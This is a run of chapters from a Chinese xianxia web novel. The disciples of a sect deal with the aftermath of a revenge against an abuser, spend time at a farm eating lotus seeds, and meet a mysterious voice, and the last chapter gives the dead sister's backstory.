归墟真是无时无刻不在刷新她对仙门的认知。 不懂就问,这是正经仙门吗?掌门又知道你把他当做归墟的最高道德标准吗? 江却咳了一声,制止闻越继续在师门之外“败坏”门派名声:“事出有因,手段特殊也情有可原。” 关云铮松了一口气,坦白道:“但我还是不太建议你们进去看,不如等殷姐姐出来告诉你们吧?” 闻越靠在墙上抛石子玩:“再说了,把他折腾成什么样不都还没死吗?没死都算便宜他了。” 关云铮和楚悯不语,只是一味肃然起敬。 原来这就是归墟朴素的善恶观吗?彻底见识到了。 殷含绮很快就出来了,顺手带上了门,又皱着眉头用团扇往自己身上各处拍了拍,抬起头来时说道:“你把他阉了?” 闻越石子抛出去忘了接,“啪”的一声正好砸在他伸出来的脚面上,听动静挺疼,但他愣是没吭声。 江却脸上沉稳的神色微微裂开一道缝。 楚悯默默看向了关云铮。 唯独还在剑鞘外的摇羽在此刻幽幽来了一句:“意料之中。” 毕竟是跟它认真讨论过那什么……物理阉割和化学阉割的人。 几人没留意摇羽的存在,此刻它忽然出声纷纷被吓了一跳,原本被关云铮所为震慑的思绪也逐渐回笼,闻越先看向殷含绮问道:“你方才说他还挺能忍痛,不会是早就知道云崽要这么做了吧?” 殷含绮摇了摇扇子:“我哪有那么厉害,胡乱猜测罢了。” 这回换关云铮挑眉了:“姐姐你还说了这话?” 殷含绮没否认也没直接承认,反而挑起另一个话题:“你打算怎么处置他?” 关云铮脸上那点因为被师门人围绕而萌生的喜色和自在迅速地消失了:“我想让他体会到和我妹妹一样的痛苦,还有……” 闻越接话:“还有?” 关云铮摇了摇头:“没什么。” 殷含绮自然懂她的言外之意,猜测她想说的大概是“还有对原身犯下的那些恶行”,于是答应下来:“既如此,此事便交给我,你们下山应当有正事要办吧,不如我们就此别过?” 闻越狐疑:“你要做什么?” 殷含绮从扇面后撩起一个笑:“怎么,你想看?” 闻越无端打了个哆嗦,怀疑是听见云崽把人阉了后的延迟反应,连忙退后一步示意自己对动用私刑并无兴趣:“不想,那便就此别过吧。” 殷含绮没搭理他的反应,不知从哪拿出一小捆金红色的丝线,递给关云铮。 对上关云铮不解的目光时,她解释道:“这丝线和我扇面上绣纹用的是同一种,若是你有事要找我,可以点燃一根丝线,我便会知晓。” 关云铮乖乖应了声“好”,把丝线理好揣进乾坤袋里了。 “我若是看到,会去青镜山脚下等你。”殷含绮又说道。 闻越不加掩饰地“啧”了一声。 殷含绮睨他一眼:“怎么就你话多?”她打着扇子再度走进门,“我已经传信给门中其他人了,待会儿他们就会过来把季邕带走,你们也该走了。” **** 楚悯先前来归墟时是直接乘的灵舟,没在镜溪城停留。江却也闭关许久不曾下山,上次下山还是救小师妹,故而也是匆匆而来匆匆而去,没顾上在城里多待。 因此在回归墟之前,闻越带着三人又回了趟闻家。 闻逍见了关云铮,脸上的神情显然有些愧疚:“是我对不住,派出去的人有所疏漏。” 关云铮摇摇头:“此事怨不得别人,我母亲执意要将女儿嫁出去,谁也拦不住。” 闻逍自然已经得知关云漪的惨状,半晌没说话。 闻越只能硬着头皮活跃气氛:“哥,我又回家打秋风了,有什么吃的能让我带上山吗?” 闻逍突然被他这么一打岔,难得有些哭笑不得:“你早上那生意谈完了?” 闻越一愣,心虚:“还没……这不是去处理更重要的事了吗?” 闻逍作势赶人:“那你还不快去谈?” 闻越一头雾水地被推出去两步远,还在想他哥什么时候这么盼着他离开家了,对上闻逍的视线才一激灵反应过来,连忙附和道:“啊对,早上那生意还没谈呢,李厨也还在那边,不如我们去那边看看?” 关云铮没什么所谓,虽然闻逍是闻越的哥哥不算外人,但关家的事毕竟太影响心情,继续待在这只是徒添不快,因此跟闻逍打了个招呼就跟着闻越走了。 于是一行人刚到闻家没多久,又浩浩荡荡地离开闻家朝农户的住处进发了。 “所以闻师兄今日下山是谈生意来了?”楚悯和关云铮一起走在闻越身侧,好奇问道。 闻越点点头:“要不要猜猜是什么生意?” 关云铮条件反射似的,一句冷淡的“我不猜”脱口而出。 问就是被人吊胃口吊得有应激反应了。 等她反应过来时闻越已经一脸苦兮兮的神情:“不猜就不猜呗……” 关云铮这下也有些哭笑不得了,给自己找补道:“不是不想知道,只是懒得猜,师兄你就直说吧。” “是水牛乳的生意。先前李厨下山讨要水牛乳的那位农户,是我哥名下农庄里的散户。” 关云铮:哈哈,还好刚才没猜,这不是自取其辱吗。 **** 深秋时节的田野有些萧瑟,枯草比绿色多,有些田里还留着水稻收割后的根茎,没种新的作物。 关云铮在青镜山上待得不知今夕何夕,见状看向其余三人:“水稻收割后种什么来着?” 闻越一头雾水:“哪有水稻?” 关云铮痛心疾首:“师兄,我与你之间已经有一层可悲的厚障壁了。” 闻越更是茫然:“什么障壁?怎么就有障壁了?” 走在几人最后的江却忍不住想笑:“水稻收割后可能会种麦,不过各处农户种植的作物不同,可能农庄里有别的规划也未可知。” 楚悯若有所思地点点头,想问点什么又犹豫起来。 江却像是看出她想问的话,接着说道:“是当流民那几年知道的,那时候多数流民都是农民。” 靠天吃饭的人,一旦遇上天公不作美的年景,涝了旱了都是不成,地里能挨到成熟收获的作物不够一家子几个月的口粮,时间久了就容易变成流民。而一旦变成流民,曾经耕种的日子也很难回去了,主观上摔得太惨心灰意冷是一部分原因,客观上没有重新开始的能力是另一部分原因。 总之那几年的流民数量只增不减,不对,倒是减少了一些,因为旱灾涝灾后容易滋生疫病,老弱妇孺总是会在疫病到来时最先倒下,而被疫病击垮的人得不到妥善的安置,尸体的腐坏又会加重疫病的严重程度,从而导致更多人的死亡。那时候的流民,只有不到四成的人是真正被饿死的,其余六成,都是病死的。 关云铮小心翼翼的:“大师兄为何会变成流民呢?” 江却神色平常:“听流民中的长辈说,我父母在涝灾时便去世了,母亲从洪水中救起了一个女孩,自己被卷走了,父亲死于疫病。那时我尚且不记事,不记得他们的长相了。” 闻越叹了口气,又转向关云铮:“还好我们师父是个阔绰且心善的公子哥,见不得孩子受苦。”他显然是已经听过这段故事了,说起这个话题时不像关云铮那样小心翼翼,只是语气依旧很唏嘘,“那几年年景很不好,连我家的生意都受了影响,师兄师姐那时候的惨状几乎随处可见。” 那不仅仅是几个人的悲剧,而是那几年时代的缩影。 关云铮却忽然想起什么,从乾坤袋里拿出将隐:“方才我在抽取季邕的记忆时看到了”她差点顺嘴把“关云筝”说出口,紧急刹车后改口道,“一些不属于他的记忆,似乎是因为这些记忆与季邕有连接,所以在抽取记忆时触发了将隐,被回溯了。” 楚悯明白了她想表达什么:“你想回溯大师兄的记忆,让他看看过去?” 关云铮点点头:“对,我想试试。” **** 几人还没抵达农户住处就看见了在田埂上站着的李演,闻越朝那边挥了挥手:“李厨!” 李演回过头来,手里还拿着点什么,见了他们招手道:“过来看看!” 隔得太远,纵然原身的视力不错,这个距离她也只能看出李演大概是拿了些绿色蔬菜之类的东西,看不清具体是些什么。 那田埂看着近在眼前,待到要下去时关云铮才发现根本看不到入口。 呆滞。 闻越也呆住了,站在绿油油的麦田前喃喃道:“李厨难道是飞进去的?” 楚悯也没看到入口,仔细一看似乎只有李演脚下有田埂似的,但还是不太确定地说道:“应当不会?” 江却无言,走到几步开外,拨开长得过于茂密的麦子:“在这边,当心脚下。” 四人踩着相当狭窄的田埂迈入麦田,关云铮压根不敢在说话时回头,生怕在回头的瞬间下一脚就踩空了,但还是忍不住碎碎念:“小悯,你看这个田埂适不适合练御剑?” 楚悯笑出声:“你觉得我们没法平稳御剑是因为剑身太窄了吗?” 关云铮实话实说:“那倒不是,我纯粹是胆量太小,体术太差。”理不直但气壮。 江却走在后头接话:“无需急于求成,回去后有的是时间练习。” 关云铮小鸡啄米式点头,忽然发现江却的说话习惯:他似乎倾向于把自己的结论放在话语的最开始,说完结论后再进行解释。 这同很多人的说话风格存在着本质的不同。因为相当一部分人在传达带有观点的理论时,都会怀揣希望对方接受自己的观点、听进去自己的建议这样的想法,所以一般会在话开始时阐述清楚自己的理由,最后才给出结论。 江却在说话风格上与这些人截然不同。 难怪总觉得他不好接近,这样说话确实会让人有种很难和他沟通的感觉,毕竟他把自己的结论放在“对方接受观点”这件事之前,优先级的不同就决定了聆听者感受上的不同。 换作在现代社会,关云铮可能会忍不住想此人是不是官不大官瘾很大,习惯下达指令似的说话;也可能会把他评价为目标导向思维人 她意识到方才短暂的思考时间里,将隐又在悄悄转动了,不知道想的这些又是被它从哪年哪月里回溯出的心理学知识。 终归现今不是21世纪了,对待江却也没有必要动用上批判的思维,最多不过是师门教育方式特殊,徒弟们的为人和性格百花齐放罢了。 这不,走在最前面那位师兄还兴高采烈地问李演能不能骑牛呢—— 作者有话说:后面还有一更~ 第64章 李演简直不明白闻越的脑子里一天到晚在想些什么, 没好气道:“你也不怕它把你甩下来。” 闻家先前落户在朝安,朝安城寸土寸金,城郊农田那个租价压根就没打算租给农户, 因此闻越也没什么机会见到用来耕地的牛——毕竟租得起城郊农田的富人会雇佣人来耕种, 也就没有牛的用武之地了。 以前每年春耕节倒是有牛,但节庆时候的景象自然做不得数, 谁家犁地的牛会是膘肥体壮神采奕奕的?过得怕是比普通百姓还要滋润些。 等到来了镜溪城, 他又上山修道去了——虽然没修出什么名堂,如今第一次见耕地的牛,便很想试试骑牛是什么感觉,理直气壮地反驳道:“不是有你在这吗,师兄也在后面,不会让我摔着的。” 其余三人走过来时就听见这么一句, 关云铮不由得看了眼那头牛:“没鞍能骑吗?” 闻越像是很满意关云铮和他想到一块儿去了,闻言点点头说:“我先试试。” 关云铮也跟着点点头:“无妨, 牧童骑在牛背上时也没有配鞍,就是缺了支短笛, 不然师兄此番就更像牧童了。” 李演在旁边抱臂冷笑:“哪家农户能雇得起他来当牧童。” 楚悯深以为然:“此言在理。” 总之闻越欢快地攀着牛的身子坐了上去, 待到坐稳后还煞有介事地点评道:“比马背宽敞些。” 突然变成坐骑的牛相当温顺,背上忽然多了一百来斤也不甚在意,只随意地甩了甩尾巴。 关云铮注意到这个细节无端想笑:“师兄, 它方才在甩尾巴呢。” 闻越不明所以:“甩尾巴怎么好哇云崽!你的意思是它把我当虻虫?!” 关云铮背着手看向别处:“我可没说, 是你自己说的。” 闻越倒也不生气,坐了一会儿后又撑着牛背跳下来:“就是太安静不喜动了,这要是真当坐骑,马走一日,它怕是得走五日。” 江却神色无奈:“你非得在它吃草的时候坐上去。” 闻越“诶”了一声, 回头看了会儿,发现它还真在嚼草,顿觉愧疚,对着那牛的脑袋双手合十,诚恳地作了个揖:“对不住啊牛兄,打搅您用膳了。” 牛把草嚼完了,看着眼前这个举止怪异的人,不解地“哞”了声。 李演这才想起被打岔之前自己想说什么,把方才随手放到脚边田埂上的东西拿起来给几人看:“方才问了问那位农户有无甜一些的甘薯种,他给了我这些甘薯苗。” 关云铮有点不好意思:“其实原先菜地里的甘薯也挺好吃的,没准过段日子就甜了。”特意来找甜的甘薯还是有点太麻烦人家了。 李演摆摆手,并不在意:“厨子的分内之事。再说了,你们师父给的月钱可不少。” 也是。 关云铮第不知道多少次麻木地想,她为什么总在共情有钱人,哪怕这个有钱人是她师父也不能共情有钱人啊啊啊啊。 楚悯在苍生道还没待多久,而甘薯成熟要些时日,因此她恰好没喝上不怎么甜的甘薯粥,闻言十分好奇:“甘薯苗种进地里能长出甘薯吗?”毕竟一般来说,作物都是从种子逐渐成熟起来的吧? 关云铮回过神来:“能,这叫扦插。” 四人默默把目光投向她,闻越更是倍感震撼:“你这都是从哪看来的?” 关云铮无声把视线转向旁边的麦田,打了个哈哈:“学得略杂,略杂。” 几人交谈间,展骏从远处的麦田里走来,一直走到闻越面前才说道:“小少爷,问过这边的农户了,说是还有一处荷塘尚未收割。” 闻越差点忘了这茬了,方才他往这边走时确实感慨了一句秋天怕是没有莲子了,此时便问道:“还有莲子?” 展骏颔首:“有,但农户说可能不如前阵子的好。” 闻越扭头看向关云铮和楚悯:“尝尝去?” 关云铮拉上楚悯的手:“尝尝去!” **** 或许是荷花之间的品类不同,或许是他们运气好,总之不知出于何种原因,这片荷塘里甚至还有几朵在凋谢边缘的荷花。 关云铮老远就看见了那抹格外显眼的藕荷色,提着衣摆,踩着有些泥泞的土路绕荷塘走了半圈,终于找到能近距离观赏这朵荷花的落脚点,回头招手:“小悯你来看这朵花!” 楚悯跟在她身后蹲下来,眼尖地注意到被花瓣包裹着的东西:“那是蜂吗?” 关云铮正想凑近,江却在身后出声:“当心。” 于是她只好老实在原地蹲着,努力在一簇嫩黄色的花蕊中寻找那蜂的身影。 “它是才睡醒吗?”关云铮看着那只圆滚滚的蜂。 “也可能是累了吧,你看它身上有好多花粉呢。”楚悯轻声说。 “不要只采荷花的花粉哦,荷花都不开了,你会飞得很累都找不到一朵花的。”关云铮也小声说。 闻越正找人帮忙采莲子,捧了一大堆莲蓬到怀里,一扭头却发现两个师妹都不见了,只好捧着莲蓬大呼小叫地走过来,终于看见在荷花前蹲着的两位师妹。他抱着莲蓬也蹲下来:“看什么呢?” 没人回答他,闻越下意识往两位师妹那看,很快发现一件十分要命的事——关云铮在哭。 和方才看到季邕记忆后的反应一样,没有一点声音,眼泪却已经啪嗒啪嗒地砸下来了。 关云铮默不作声地看着荷花流泪,蹲在她身边的楚悯显然也注意到了,但什么也没说,只无声地站起身,和闻越对视一眼,跟一直站在他们身后的江却一起先走远了。 或许他们走远了她就可以放心地哭出声了。 闻越一路过来都无意识地揪着手里的莲蓬梗,想说点什么也不知从何开口。 怎么可能已经不难过,纵然感情再差,那也是她的血亲,见到亲人以此种情状死在自己面前,短时间内很难平复才是正常。 闻越叹了口气,抱着莲蓬在身后的石板上坐下,索性没事做,干脆把莲子剥出来,待会儿给心情平复的云崽尝尝。 而被惦记的云崽还蹲在荷花面前。那只蜂早就不知道飞去哪里了,圆滚滚的身子上沾了好多花粉,也不知道飞回去的路上要歇多少次。 关云铮蹲在地上想:关云筝的灵魂究竟是什么时候彻底消散的?是她那次回到关家与关云筝的母亲大吵一架后?还是在那之前? 她有没有听到自己对闻逍提出的,让关云漪和季邕解除婚约的请求? 虽然不管她听到与否,这件事的结果都只是对关云铮自己的安慰,这些问题对于关家姐妹中的任何一个来说,都已经没有意义了。 关云筝在无法确认她妹妹能否平安时便消散了,关云漪更是还不知道自己为何会经历这些便被折磨至死了。 妹妹临死前会怨恨她的姐姐吗? 她的魂魄会归入溯洄吗? 关云铮抬手抹了一把脸,犹觉不够解气似的,又抓着袖子狠狠擦了擦眼角。 “哎呀,哭了?”一个声音忽然在她耳边响起。 关云铮被吓了一跳,由于那声音太近还以为是背后有人,下意识站起来转身,却没看到一个人影。 “谁?”她不由得警惕起来,这声音听起来虽非男非女,但不像心魔引那样带着诡异感,更像是摇羽那种剑灵才有的非人感。 难道是将隐里的器灵?还是撷光? 关云铮怀疑地拿出将隐放在手心看了看,没看出异常后又横过手腕打量了一番撷光。 “我不是器灵。”那个声音又说道,语调慢悠悠的,像在用言语逗她玩。 关云铮皱眉,心说你不是器灵至少也是个谜语人,最烦话说一半的行为。 那声音的主人比知名谜语人章存舒还能看透人心,因为祂在关云铮腹诽之后说道:“谜语人?什么意思?喜欢说谜语的人?” 关云铮眉头皱得更紧了,虽说心魔引也能窥探她的内心所念,但到底只是偶尔发作,窥探时还总带着挑衅她的意味,动机太过外露她反而没那么容易生气。 但此刻说话的这位……话语里几乎听不出恶意,但也压根不打算掩饰祂对自己内心的窥探,不对,这种程度的不能叫窥探了,人家根本不打算藏着掖着,这完全就是在观察,在复述她的念头,她在祂面前无所遁形。 这种心思无处可藏的感觉无端令人感到恼火与不快。 “太久没跟人打交道了,是不是让你不高兴了?”那声音又相当通人情味地说道。 关云铮不知道祂到底要做什么,听了这话既警惕又没好气:“你心中所思所想全被人抖落出来,你能高兴?” 那声音听着简直能想象出一张嬉皮笑脸的脸:“我能啊,那不正好说明此人非常厉害吗?” 关云铮:……好欠打的声音,好欠打的人。 “我只是路过,不打算多做停留,就比别过吧,小友。”祂忽然毫无预兆地单方面终止了话题,关云铮正想开口,就感觉识海深处忽然传来一阵被风拂过般的震荡感,像是在告诉她,此人真的“走了”。 搞什么,她还想吐槽一句“她的识海不是驿站不要想经过就经过”的啊! 可恶。 被这么一打岔,关云铮的那点消极情绪暂时被镇压了下去,她想起方才情绪不好时把两位师兄和小悯都晾在一边,忙不迭踩着土路朝那边飞奔过去了。 **** 没穿越过来之前,关云铮只吃过初夏时节的莲子。 那时候见习去的一家医院门口总有人摆摊,一个巴掌大的莲蓬也要不了几块钱。但她总是疲于奔波,每次都没时间停下来买一朵回来尝尝,唯一一次尝到新鲜莲子的味道,还是后排的同学剥了一大堆,摊在手心让她拿的。 记忆中那几颗莲子脆脆甜甜的,偶尔还会泛着点清苦味。 总之比八宝粥里的莲子好吃一万倍。 关云铮摊开手接过闻越递过来的一把莲子,又拢起手把莲子全倒进一只手的手心,用空着的手拣了一颗丢进嘴里。 闻越用期待的眼神看着她。 “好吃。”关云铮说着又吃了一颗。 楚悯接过属于她的那一把:“师兄,你的手不疼吗?” 闻越指甲留得短,这几个莲蓬又有些难剥,这一会儿下来几个指尖确实有点疼,闻言顺顺当当地开始做甩手掌柜:“你们先吃,我歇着了,吃完再剥。” 沉默寡言的大师兄好半晌没动静,几人一扭头,才发现他不知从哪变出一把小银刀,正垂着眼认真地按照莲子的生长区域分割莲蓬,方便剥出每一颗莲子。 “这不是师姐处理那些花的银刀吗?”闻越凑过来仔细端详。 江却面不改色地把他脑袋挪开了些:“挡住光了。” 闻越一脸不可置信地看着他,随即又转过头看向两个师妹,伸手指着江却道:“有没有天理了,大师兄居然推我脑袋?” 关云铮的回应是塞了一小把莲子到他手心,又把他身侧余下的几个莲蓬拿走了:“吃吧,我来剥,不要打搅大师兄。” 闻越当然不会真的觉得没天理,他只是看关云铮比平时寡言,知道她还是情绪不高,才故意咋咋呼呼地说些话来逗小师妹开心。 因此他顺从地接过莲子,但嘴上还没忘了没正形:“还是云崽好。” 话音没落,就见楚悯也要递过来一把莲子,又笑眯眯地加上一句:“小悯也好。” 呜呼,清汤大老爷! 江却很快分割好莲蓬,小心谨慎地顺着裂隙把莲子一个个剥离出来,又装进一个小布袋里,系好绳子放进乾坤袋。 闻越吃着莲子点评:“懂了,给师姐带的。” 关云铮默默:好的,我捡一口。 楚悯比较关心莲子的保存:“这布袋子施了术法吗?” 闻越老神在在的:“师父拿手绝活,保存食物妙招。” 关云铮又默默:不愧是你,师父。 楚悯于是接着问道:“我们今日不回归墟吗?” 闻越心说终于问到点子上了,吃完手里的莲子拍了拍手,拍掉手心的碎屑,满意道:“明日农户要做桂花蜜,我们带点回去尝尝。” 这下饶是用心剥莲子的关云铮都抬头看了他一眼,眼神亮晶晶的,显然是十分期待。 闻越一挥手:“还有什么想吃的,这次都带点回去尝尝!” 毕竟说好了是来打秋风的嘛,怎么能不多打劫一点呢—— 作者有话说:这一更是jj忽然抽了给我存稿发出去了[化了]所以下一更应该在周四了哈,隔两天再发,不然我真不行了[化了] 第65章 供应水牛乳的农户是散户, 住处只供自己一家三口,没有多余。 秉持着打秋风就要打个彻底的主张,四人今日大概并不回归墟。闻越自觉此时不宜回家, 纵然谁也没做错, 但此事余波未了,此时归家难免触景伤情, 遂吩咐展骏去农庄里寻几间厢房。 展骏早就料到似的, 闻言一点头:“已经准备好了,小少爷现在便过去,还是过会儿再去?” 闻越挑眉:“庄子里还有什么别的吗?” 吃的玩的,能让人心情好些的。 展骏会意,直接看向闻越身后两位姑娘:“有柿子,要尝尝吗?” 关云铮不巧正吃了颗相当苦的莲子, 闻言立马咬着舌尖答应下来:“吃,哎哟这莲子苦死我了。” 走在关云铮身后的江却伸手, 关云铮不明所以:“怎么了大师兄?” 江却看了眼她手里的莲子:“不是说苦?给我吧。” 关云铮把捧着莲子的手往怀里一收,笑嘻嘻的:“谁吃不苦, 给你还得多出一个人吃苦。” 江却一愣, 小师妹已经和好友手拉手地跟上闻越的步子了,察觉身后没动静还回过头来催促:“师兄,你还不跟上可没有好的柿子吃了。” 走在最前面的闻越也跟着回过头, 笑着调侃他:“是啊, 要是来晚了,我们可不会给你留啊。” 被催促的大师兄无奈,只好抬腿跟上。 关云铮身上似乎发生了某种微妙的变化,说不上来,但他直觉此刻的她和方才有些不同。 说她走出来了、没事了也并不恰当, 但模样看着确乎是卸下了某种重担,脸上的轻松神色并非作伪。 江却幼时很会看人脸色,领着连映乞讨时看一眼便能得知下一位过路人会否伸出援手,若是伸出援手,又会给些什么东西。给铜钱和给吃食的人天然长着两种相貌,漠然之人与拿流民撒火之人更是天差地别。 他总是早早就看懂脸色,遇上漠然者便缄口不言,遇上撒火之人便退避三舍。 运气好时一日内既能碰见给吃食和给铜钱的,运气差时除开遇不到好心人,遇到烂人的时候也多些。他看人脸色的本事也就在日复一日的乞讨中变得愈发炉火纯青。 只不过后来在归墟待了十几年,这项技艺变得逐渐生疏。没有运用的场合,幼童时因为带着连映而强打精神锻炼出来的技艺,自然被抛诸脑后。 毕竟本就是记性不大坚牢的年纪。 走在前头的两位师妹脑袋挨在一块,在说悄悄话,江却回过神来,又担心听见师妹们说的话,放慢脚步的同时把视线投向远处的麦田尽头。 闻越是个走路不老实的,在最前面走了没几步就折返回来,凑在两个师妹身边问:“柳相走时说苏修士会敲打严骛,也不知今日快过去,敲打了没有?” 关云铮心说这话形容得严骛活像个木鱼,思及此忍不住笑了声,对上楚悯的视线如实说道:“老说敲打,我现在觉得他像个木鱼。” 闻越一愣,随即发出惊天爆笑声:“哈哈哈哈哈哈哈哈哈哈哈哈哈……” 楚悯也没忍住,甚至身后的江却听见后都笑出声了。 关云铮默默又给自己投喂了一颗莲子,为自己嘴上缺德的行为在心里敲了两声木鱼,哦,不是严骛这个木鱼。 闻越笑着笑着,肚子却相当不给面子,“咕噜噜”响了几声,不比方才笑声的动静小多少。 他一脸后知后觉的懊恼:“晌午都过了,我这才想起来。” 关云铮咀嚼莲子的动作一顿,糟了,她也忘了。 比起“这世上原来真有人能忘记吃饭”这件事更让她感到震惊的,是这个人居然是她自己。 吃货人设塌了。 一旁的楚悯思索着:“那柿子不能吃了?” 江却在后头“嗯”一声:“柿子寒凉,饥饿时不能吃。” 确实,鞣酸容易刺激胃粘膜,空腹吃对胃不好。关云铮一边漫无边际地想,一边继续吃莲子,嚼着嚼着忽然意识到她现在其实不是空腹——都吃了一把莲子了。 闻越也像是才意识到此事似的,看向她继续吃莲子的动作,露出欲言又止的神色。 她还以为闻越要说她并非空腹可以吃柿子之类的话,结果闻越看了她半晌来了句:“少吃点莲子,待会儿饭吃不下了。” 楚悯也连连点头。 好吧,关云铮放下莲子,又是被师门溺爱的一天。 **** 季邕毕竟还没死,看关云铮的意思也不打算让他如此轻松就死了,故而殷含绮也没多做什么,让手下随意把他套进麻袋里丢到季家门口就打算走人。 平心而论,此人如果完全落在她手里,只被抽取记忆和阉割怕是不太够,虽说对这种由于自己不举而折磨女人的男人来说,最残酷的惩治手段可能就是阉割,但阉割过后的男人对其他健全的女人只会手段更狠毒。 从前皇宫中宦官盛行时,三不五时就得有宫女被折磨致死丢出宫外,再随便找个由头说是在宫中惹怒了贵人,被贵人打死的。 皇宫大门不是给凡民设的,那殿前台阶也不是给凡民走的,宫中诸事的真相,自然也不是凡民配知道的。究竟是宦官虐杀还是贵人惩戒,宫外的可怜父母哪里会知晓呢? 殷含绮本想吩咐两个门派中人稍微盯着点季家,又忽而想起季邕连闻逍的眼线都瞒过了,于是拧起两道细眉,打消了将此事假手于人的念头。 她转身欲走,季家大门却传来些动静。 一帮子家仆随从鱼贯而出,围着季邕咋呼起来。 那股恶意像引魂香阴魂不散的味道般,附在她的脊背上挥之不去。 殷含绮忍无可忍地转回身,几步走上季家门前石阶,把那群尚在咋呼的仆役吓了一跳。 季邕是个打小就心想事成的公子,哪怕家不在朝安,也算得上镜溪城的小霸王,家里人对他向来无有不依,是以现在没了底子又没了面子,差不多要糟烂透了。 他不加掩饰地用充满恶意的目光盯着殷含绮:“我总有办法闹到众人皆知,到时哪怕她想明哲保身,我也势必要将她拉下水,怎么说也认识了这么多年,想来镜溪城的人也都知道我同她从小情投意合……” 殷含绮忍无可忍,一扇子把他周围仆役全部扇得震开去,俯下身盯住他眼睛:“你少说这些话来恶心我,怎么,当我不敢对你动手吗?” 季邕也毫不闪躲地盯着她:“殷掌司自命清高,哪怕身处鬼灯楼也不与门派中某些人同流合污,看不起丹修也看不起引魂术,在名门正派朋友面前更是演的一出好戏,你当真敢对我动手吗?” 殷含绮嗤了一声,这种既蠢又莽的人若不是有家族庇护,怕是连路边一条野狗都打不过。 按理说她没必要跟此人计较,但若是关云铮在,想必不会让他说完这些恶心人的话后还能安生在地上坐着。 人固然不能同咬伤自己的狗讲道理,但打一顿泄愤也是好的。 这样想着,殷含绮忽而又笑起来,手中的团扇也在季邕的注视下亮起了零星发亮的几处绣纹。 季邕孤陋寡闻不认得,若是精通术阵者在此,势必能认出亮起的绣纹是一个微型阵法。 “我当然不会对你动手。”殷含绮轻声念了几句季邕听不懂的口诀,“想要你命,又或是想让你不得好死的,自然另有其人。” 季邕后脊无端蹿上一股凉意,冻得他打了个哆嗦。 殷含绮的笑眼被团扇的扇面掩去一半,她声音轻柔得有些飘忽,在季邕彻底被阵法的光笼罩之前,问出她的最后一个问题:“你知道这把扇子,叫什么名字吗?” “那把团扇叫桃花面。”饭桌上,江却忽然说道。 关云铮在专注地品鉴桌上一道桂花糖藕,一边吃一边感慨,果然不管什么不好吃的东西带上点桂花都会变得好吃,比如她从前一点不沾的藕。 听见这话她抬起头:“殷姐姐的团扇?” 江却颔首:“也有人会用那团扇的名字称呼她。” 还挺符合殷含绮气质的,关云铮心想。 “不过怎么忽然提起她?”她夹了一筷子野菜。 江却神色很认真:“你将季邕之事完全交由她处理,不担心她做出什么不当之举?” 他话里没有歧视的意思,关云铮听得很清楚,故而回答时也很诚恳:“先前我独自下山时遇见过她几次,是她主动向我坦白了邪修身份,还告诉我一些事情的真相。” “纵然我并不明白萍水相逢,她因为何种原因这样帮我,但我同样也不明白师父为何会选中我当他的徒弟,不明白师兄师姐们为何对我这般好,不明白小悯为什么会愿意和我做朋友。” 闻越皱眉:“这怎么能一样?” 关云铮笑了笑:“怎么不一样?都是无缘无故的好意,不能因为身份的不同就追求用心是否险恶吧。”她又夹了一筷子桂花糖藕,“论迹不论心嘛,两位师兄说是吧?” 楚悯默默接过话茬:“你说出的这些话,大概便是你不明白的那些事的原因。” 话说得怪绕的,但关云铮相当顺畅地理解了话中含义,倒也不忸怩,坦荡承认道:“自然,我也不差。” 江却笑起来:“当然。” 闻越笑嘻嘻地凑过来:“师兄师兄,那我呢?” 江却看他一眼没说话。 闻越臊眉耷眼地坐回去了:“我就多余问这句。”—— 作者有话说:值得一看的事:严骛木鱼论来自朋友的评论,太油菜了遂用上() 比较重要的事:这篇文写到27万字终于能入v了,目前打算下周一入v,那天更万字章。所以下一更是周一,大家记得来看[可怜] 因为这个菇这篇文是无纲裸奔状态,所以v后应该也还是隔日更,特殊更新会在前一更的作话或者公告说明,更不出会挂请假条。 感谢所有读者们的支持(郑重鞠躬) 第66章 自幼时便被偏爱长大的人, 反而不容易察觉到这份偏爱的存在,就像从来就有的东西,总是鲜有人质疑从何而来。 也正如天才总是轻而易举便能做到普通人做不到的诸多事, 而他们多数不会归因于自己的天赋异禀, 只会诧异道:“原来你们做不到?” 但往往在问出这个问题的瞬间,被质疑者脸上被刺痛的难堪都会提醒发出疑问的人:是的, 你是如此特殊, 而我做不到。 关云漪就是那个发出疑问的人。 幼时她从未觉得母亲偏疼,直到长大后,姐妹二人到同一处学塾念书,母亲提前准备了些便于存放的糕点,午间拿出来品尝时,看见姐姐的目光往她的糕点盒子上落了好几次, 于是不明所以地问道:“怎么了姐姐?你的盒子里没有吗?” 问出问题的当下自然是无心,但关云筝脸上的难堪、悲伤一闪而过时, 在这一瞬间,她无师自通地领会了母亲的偏爱。 被偏爱者容易恃宠而骄, 性格也会渐趋恶劣。 原本这份偏爱是她习以为常的东西, 算不得什么殊荣,但姐姐脸上被刺痛的神情给这份偏爱赋予了一层隐秘的意味,她开始有意无意地在姐姐面前炫耀起来。 “姐姐, 母亲今日给我带了桂花糖, 掰你一块。” “姐姐,学塾先生要的书我买来了,日后我们一起看吧。” …… 那些以“姐姐”开头,暗藏着诸多心思的话,宛如一根又一根扎人的荆棘, 逐渐在她和姐姐之前筑成了一面刺手的墙。 而季邕的出现,无疑成了把这堵墙彻底推向姐姐的最后推力。 她不算多么喜欢季邕,但时常看见他用讨好的姿态在姐姐面前说话,哪怕姐姐总是很冷淡,他也不懊恼。 她想季邕或许跟她是一样的,都期盼见到那张总是无波无澜的脸上,出现别样的神色。她的姐姐是一口深不见底的水潭,而她和季邕是站在水边,不时往里投入石子的人。 他们要折断水潭边生长出的清丽花草,要水潭边沾着泥沙的石子沉入水下,要那水面上完美无瑕的月色长出怅然的褶皱,要把所有寂静的、美好的砸得稀烂。 越是骄纵,便越是理所当然。 但无条件的宠爱也很惹人厌烦,姐姐可以安生吃饭,可以随心所欲无人看管,她的碗就得被母亲夹的菜淹没,她做什么母亲就得无尽地念叨,好烦,好烦。 凭什么隔着荆棘墙的人过得那么淡然?凭什么她从不试着去触碰那堵墙,从而被刺扎得鲜血淋漓? 凭什么她对这一切漠不关心?她凭什么不伤心? 水潭边的人愤然抛入一枚石子,溅起的巨大水花甚至溅上她的侧脸,但只不过片刻后,那看起来能包容万物的水潭便重归寂静。 只是这动静却吸引了另一个破坏者的注意,两枚石子溅起的涟漪互相触碰,碰撞出更大的一圈涟漪。 …… 她发现自己接近季邕时,姐姐会不高兴。 并且是不加掩饰的不高兴。 